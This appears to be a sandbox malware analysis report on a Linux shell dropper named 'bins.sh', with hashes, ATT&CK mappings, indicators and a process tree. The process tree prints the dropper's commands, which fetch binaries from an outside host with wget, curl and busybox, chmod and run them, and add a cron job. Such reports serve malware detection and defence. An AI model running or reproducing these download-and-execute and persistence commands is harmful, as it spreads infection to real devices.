66e27f6072a3ac6fc71d98be862a638d2a93b1d31424930428a664a676f2b9f7

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04/11/2024, 12:35

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General

Target
bins.sh
Size 10KB
Sample241104-psby6azcle
SHA256 66e27f6072a3ac6fc71d98be862a638d2a93b1d31424930428a664a676f2b9f7
MD5 a325e2a22971294656afb7f251e3ab7b
SHA1 d05120dd6f34ee01dd2b5c45baf4eaf512ea0c75
SHA512 ab526ea3f4e0f0d6f85a957f0a8cf5763bba801d331aa8b76a2758a61c506b1e0036b0a3205dd2a70ef4c12134983e3e23626c2feedb36d1e4fc75705617ec83
SSDEEP 192:SsgccHWiiMp7cEPevX+NhKuccHWiDx6fvX+Nhu:SshW7tOf
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1960) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
764	chmod
885	chmod
892	chmod
906	chmod
730	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	731	i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	765	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
/tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm	886	mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
/tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr	907	0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr

Renames itself 1 IoCs

pid	Process
767	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.uO6m9n	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/845/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/882/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/1007/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/1032/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/915/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/77/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/799/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/816/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/842/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/888/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/896/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/964/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/995/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/74/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/798/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/810/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/929/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/1002/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/78/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/833/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/980/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/971/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/71/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/797/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/830/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/847/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/860/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/906/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/936/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/1019/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/1035/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/72/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/869/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/991/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/873/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/956/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/984/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/1001/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/229/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/697/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/831/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/905/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/993/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/1003/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/802/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/885/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/778/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/790/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/793/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/794/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/811/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/820/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/883/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/927/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/949/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/986/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/836/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/850/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/963/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/1009/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/6/cmdline	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

System Network Configuration Discovery 1 TTPs 13 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
729	busybox
734	wget
744	curl
783	wget
789	busybox
895	wget
896	curl
897	busybox
910	wget
706	wget
727	curl
758	busybox
788	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	curl
File opened for modification	/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	busybox
File opened for modification	/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	wget
File opened for modification	/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	curl
File opened for modification	/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	busybox
File opened for modification	/tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm	busybox
File opened for modification	/tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr	busybox
File opened for modification	/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:702
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:729
- /bin/chmod
  chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:733
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:765
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:768
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:769
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:771
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:773
- /bin/rm
  rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:779
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - System Network Configuration Discovery
  PID:783
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - System Network Configuration Discovery
  PID:788
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:891
- /bin/chmod
  chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:893
- /bin/rm
  rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:894
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - System Network Configuration Discovery
  PID:895
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - System Network Configuration Discovery
  PID:896
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod 777 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  ./0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - System Network Configuration Discovery
  PID:910

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr

Path /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

Submit Download

i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

Path /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

Submit Download

mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm

Path /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

Path /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.uO6m9n

Path /var/spool/cron/crontabs/tmp.uO6m9n
Size 210B
SHA256 09b2ea093afa39a97d28904332c0e29af6d7c2481c97e580e9b800196d51cb3d
MD5 a5d05a302e3930eba51953bc373708c8
SHA1 189abf5aa5a76d64458ab728e24ec8c9e0df9ee4
SHA512 f71cf3941eac461779bd05479be8b8f403051585a665727a4b7ce634f37bde47fcfaa873b89165a38d407ee57efe5b60b4cdb5b37d43fb42422c3bb013fd5b92
MD5 SHA1 SHA512

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MITRE ATT&CK Enterprise v15

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